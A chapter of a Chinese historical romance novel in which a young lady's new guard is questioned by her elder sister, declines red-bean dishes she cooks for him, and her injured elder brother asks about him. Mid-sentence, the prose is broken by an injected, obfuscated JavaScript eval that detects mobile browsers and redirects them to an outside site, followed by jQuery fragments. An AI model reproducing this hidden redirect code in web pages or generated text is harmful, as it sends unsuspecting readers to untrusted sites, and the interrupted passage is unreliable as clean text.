丫鬟包莺受梨溶月吩咐,给辛媵院中送来一盆炭火和一方干净的汗巾,睨了他一眼便离开。
辛媵围坐在火盆旁,衣物逐渐烘干,身子也回暖起来。
梨溶月想着自己梳妆用膳的间隙,可以让他好好休整一番,因而今日吃东西尤其慢,以至于差些迟了向父母问安的时辰。
这会梨溶月与梨岑之二人从主屋问安出来,跨出门槛,早已候在外头的辛媵瞧见,遂动身不近不远地跟着。
梨岑之略略侧头,感受着身后近乎于无的脚步声。
功夫确实了得,保全小妹的安危应是没有问题。只是不知忠心与否,善恶与否。
对于他的身份,梨岑之昨夜仔细想过了,他是辛媵的可能性实在小之又小。梨家与陈国府本就是八杆子打不着的两家,那陈国府世子又何必冒如此大的生命危险,伪装身份潜入梨府。
据她所知,辛氏一族并没有什么家族病症,既也不是图谋药术,更没必要羊入虎穴了。
梨岑之遣散周遭跟着的丫鬟,拉住小妹的手腕,梨溶月疼得一缩,后知后觉吓得她直冒一颗大冷汗。
好在梨岑之没有注意。
二人停下脚步,身后远远的辛媵亦不动了。
僵持片刻,梨岑之回过身去唤他:“那个谁,你过来!”
辛媵抬眼看她一眼。
此女子不着袄裙,而是一身织金华服,脸庞瞧着利落英气,在他面前亦不输半分气势。
怕是不好对付。
辛媵应令走向前去。
“阿姐,”梨溶月扯着她的袖子提醒道,“他的名字叫豆豆。”
梨岑之懒得理。
什么豆豆,这么幼稚的名字她叫不出口来。
做父母的也真是的,就给孩子取这么草率的名。
辛媵恭敬地作揖,随后,却仍改不了那冷冷直视别人的习惯。
梨岑之被盯得心里瘆得慌,劈头盖脸先训了他一顿:“没人教你规矩么?见了主子既不开口问好,又直愣愣盯着一动不动,你是主子我是主子?”
辛媵这才低下眼眸:“大小姐教训的是。”又补充道,“小人从前过惯了乡野生活,没什么见识,还请大小姐见谅。”
梨溶月瞧他垂头的模样有几分可怜,忙偷偷捏了捏阿姐的掌心,梨岑之猛甩开,连她一起训:
“既是进了梨府便要守梨府的规矩,该骂就得骂,该罚就得罚!君盈你还想不想好好管教护卫早些下山去了?”
梨溶月应激,立马站端正,高声应到:“想!”
梨岑之轻哼一声,吐一口气吹飞唇边的碎发:“这回说话声音大了,继续保持。”
说罢,她又来看眼前那护卫。
只见这会他便乖乖躬下身子,模样谦卑起来了。只是个子恰好比她高出半个头,仔细看,约莫还能瞧见他脸色不甚服气。
简直顽戾不堪。
梨岑之心底蔑笑一声。
她在江湖中行走两年之余,什么样的人她没见过?
想来这护卫生得这般俊俏,若是去个教坊司,恐也有财大气粗的女官包养他,若不是家中缺钱得紧,定也不会想到投奔梨家这条路子。
这一副好皮囊,若是生在官宦之家便是锦上添花,生在贫寒之家,便是徒增了一些不该有的傲气。
当下他最该明白的,是怎么好好讨好主子,怎么无微不至地守护她的小妹。
“我且问你,你家中几许人口,母亲生的什么病,需要多少钱救治?”
辛媵答:“家中还有一长姐,母亲得的是咳血病。如今为家母治病,家中积蓄已掏空,也不知还要花多少银两才能治好。”
梨岑之听了,很是满意。
家中贫寒又有一多病的老母,命根子都被人捏着呢。
“我再问你,来梨府前可有中意哪家女娘,可逛花楼,可下赌场?”
辛媵答:“小人本欲科举取士,家逢变故才……,自是不曾去过那般地方。”
梨岑之又点点头,顿了一会,忽挥出折扇拨开他的衣袖。
辛媵眸光警惕,紧盯着她的动作,顺着她的目光看向自己覆了两道血痕的手臂。
梨岑之收回折扇,轻扬下颔。
生得如此容貌,若是个水性杨花的人,纵使家贫,也免不得有些傻姑娘倒贴过来。
倒没沾惹什么花柳病在身上。
“方才你对答如流,并无遮掩,做得很好。”她认可道,“赏你五十两白银记你账上,到时会有小厮下山将这笔钱送到你京中家里。”
辛媵即刻作揖称谢。
“你若干得好,你母亲的病你自不用担心。”梨岑之略提高了音量,“关键是你得清楚你是为谁而来,你的肩上又背负了谁的命。”
梨溶月在一旁听得心服口服,一双眼眸睁得大大的。
梨岑之睨她一眼,叹出一口气。
若是让梨溶月来调教这护卫,还不知道是谁调教谁呢,更不知要等猴年马月才能成功。
偏偏姨母姨丈又非要求她时刻寸步不离地守着小妹,纵使她同他们一样打心底爱护小妹,那她也是不愿意的。
她自己也有自己想做的事情啊,谁说年长的阿兄阿姐就一定要围着弟弟妹妹转呢?
……
梨岑之想到做到,笑嘻嘻朝梨溶月叮嘱几句便一溜烟儿离开。
留梨溶月与辛媵在原地一动不动地杵着。
待风吹了又吹。
梨溶月挠挠头,这才开口:“那个,豆豆,你还没用早膳吧?”
“嗯哼?”
梨溶月瞧他兴致不高,心底霎时掀起一阵退缩。可她给自己打气,提高了音量:“跟我来膳房吧,我给你做吃的!”
她说完,立马转身一骨碌跑走,辛媵只能跟去。
梨溶月有一间专属于自己的膳房。
不仅如此,她还有一方自己的花圃,种着四时的花卉;一块小田地,一把小锄子从年头锄到年尾;一条展出她画作的长廊,月月都要添新的挂上。
“你坐那儿候着吧。”梨溶月指了指一旁的紫檀月牙桌,又道:“那上边茶壶里泡有菊花茶,花是前月我自己晾晒的,今年啊气候好,温暖干燥的日子较往年多,想来菊花茶的味道也会好些,你尝尝。”
辛媵坐在长凳上,见梨溶月已系上一根鹅黄襻膊儿,步子哒哒哒地开始忙活。
他当然不喝。
方才瞥了眼那茶汤,绿得发黑,跟有毒似的。
他习惯性地侦察起周遭来。
这一处膳房,却是麻雀虽小五脏俱全。一间小小房屋,还分出了荤区,素区,挂炉区,点心区,茶水区等等。细看房梁处,还用彩色的丝绳系了时下开的最盛的木芙蓉与野菊来装饰,难怪鼻尖总传来阵阵清香。
瞧得出梨家人对她过家家的把戏也格外重视。
过了一会儿,梨溶月捧来白甜瓷小碟,里头红红绿绿的,好似还撒了辣子碎与酱萝卜碎。辛媵抬眼扫过。紧接着她又捧来一只圆碗,里头暗红浓稠的汤底,土黄的挂面,汤上浮些乳白色碎屑。
梨溶月腼腆地落座他对面,见他面前的茶杯不曾动过:“豆豆,你不喝茶吗?”
“不渴。”辛媵答。
梨溶月点点头,忽又起身去拿来一个玻璃罐子,勺出一勺浓浓的蔗浆浇在汤面上。
这样就不那么寡淡了,嘻嘻。
辛媵盯着她的动作,胃里忽有不适。
“这是青豆炒红豆,还有红豆汤面。”梨溶月浅笑着,将其二者推至辛媵面前,“趁热吃,想必你已经饿坏了。”
其他菜品她不擅长,但她做红豆类的食物可是获得了梨家上下所有人的认可。
这些年她一有空便琢磨红豆,一开始是做最简单的红豆饼,红豆奶糕,红豆小圆子,最近她研发出了新菜式,要做翻炒红豆,红豆汤面。
这些她自己都还没尝过呢。
一是阿母说人不能自私,有好东西要分享。
二是。
梨溶月抬起希冀的目光,心跳得沉重。
如果他真的是辛公子的话,他应该会很爱吃吧。
辛媵迟疑地碰了碰桌上的木筷。
不说有毒,就是没毒他也,不想委屈自己。
“怕是要辜负小姐美意了。”辛媵唇角轻轻一笑,“小人自小患有红豆疹,从不吃此类食物。”
梨溶月原本跳得沉重的心忽便跳不动了。
像被冰忽地封住,啪嗒砸在雪地里。
居然,从来,不吃,此类食物。
可阿姐说,辛公子最爱之物便是红豆了。
你果然不是他。
终究,还是,她认错了。
“好吧……”
只是原本便明了的事实又一次摆在她面前罢了。
“那我再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556981|171319||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给你做别的?”
她寂寂地收了两只碗碟。
“不必了。我不饿。”他拒绝道。
“好吧。”
梨溶月起身将两碗食物端走。走至柜台边,用手指蘸了蘸蔗浆舔了一舔,甜甜的,好吃。可惜了,她早上也吃饱了,实在要浪费掉它们了。
正伤心时,丫鬟包莺从外头跑来,称大公子唤小姐去他院中坐坐。
梨溶月一听,朝豆豆招手示意他跟上,遂便要前去。
包莺却将后头的辛媵拦下,神色不屑道:“大公子吩咐过了,进了他的院子便不必担心小姐的安危,你不用跟去了。”
辛媵挑挑眉,启唇:“行。”
·
梨溶月兴冲冲地跑进梨步微的院子里,推开房门朝里探头:“长兄?”
“君盈来啦。”梨步微温和地出声,才将外衣缓缓和上。留梨溶月见着了片刻的伤痕,她忙退回步子,估摸长兄穿好衣裳才又进来。
“长兄的伤可好些了?”梨溶月皱着眉,一小步一小步走近。
“不打紧的。”梨步微示意她坐来自己一旁的矮凳上。
梨溶月瞧他依旧惨白的嘴唇,垂下眼眸没有说话。
梨步微与她是亲兄妹,二人相隔十岁。
早年家主梨遥光身子弱,诞下一子后便久久不育,后来才又幸得一女。
许是年岁差得大的缘故,梨溶月总觉得哥哥不止是哥哥,更像是父亲,但他又比父亲更懂得她。
长兄总会无条件地满足和支持自己的所有决定与要求。例如她院中的秋千便是长兄亲手做的,他的花圃是长兄亲自用篱笆围的,就连前些日子她偷偷跑下山去,也是长兄带着她一起的。
只可惜没有成功,反倒让自己受了伤,还让长兄受了最严厉的家罚。
其实梨溶月不理解,为什么阿姐次兄都能在山下生活,而她却要被父母管着连府邸大门都不准迈出。她也不理解,为何她都已经向阿父阿母解释过了是她自己贪玩,非求着长兄带她下山,受伤也是她自己不小心的,为何他们还要大发雷霆地责罚长兄,甚至不惜处以最痛的杖刑。
他们只一味地要长兄担起整个家族的担子,要他做出家中长子该有的绝对的稳重与理智。
但其实梨溶月知道,长兄的心底绝不像表面那般儒雅温和,她能感受到那种微妙的感觉。
“小妹手臂上的伤口呢?给阿兄看看。”
梨溶月露出小臂来给他瞧,“长兄不必担心,肯定快好了。”
梨步微点点头,这几日他见围绕在梨府周遭的蝴蝶也散去一些了。“那便好。”
梨溶月一手托腮,一手拿起案上的雪花李子送在嘴边吃起来。这是她最爱吃的蜜饯,酸溜溜的。
如果梨府别处没有,但她知道长兄这儿一定会有。
梨步微看向嚼得正香的梨溶月,笑着道:“与你的小护卫相处也有小半天了吧?感觉如何?”
“挺好挺好。”梨溶月没多想便说道。
忽却意识到什么,忙将两只手放平在桌,袖摆遂也重新遮住了红印子。
梨溶月略有胆战地抬眸看向梨步微。
希望长兄没注意。
“他呀,话不多,想必性子很是沉稳。而且他常常冷着脸,可有护卫的自觉了。”她忙打开话匣子。
“哦,此话怎讲?”梨步微接话。
梨溶月瞧他神色不变,想必是没看见自己腕上的痕迹,便放了心凑近他道:“阿兄你傻,这样可以吓跑想伤害我的人啊,谁瞧了他那张脸不害怕?”
反正包莺每每看他,都有些战战兢兢,敢怒不敢言的样子。
梨步微会心一笑,过了半晌,又问:“那小妹可觉得,这护卫有无什么特别之处?”
“特别之处?”梨溶月不懂。
梨步微眉头略皱,启唇道,“就比如,他的气质、言行……或者外貌?”
梨溶月被问得有些懵。
外貌?难道是说豆豆像辛公子吗?可她中意……的事情,也就只与阿姐说过,长兄不知的呀。
梨步微瞧她的眸子里全是茫然,笑着开口道:“阿兄只是觉着,若这些护卫的一些性质不合小妹心意,咱们也可再换一个。”
“没没没,豆豆很好的。”
梨溶月忙否认。
思考了一番,后又小小声道,
“不用再换了。”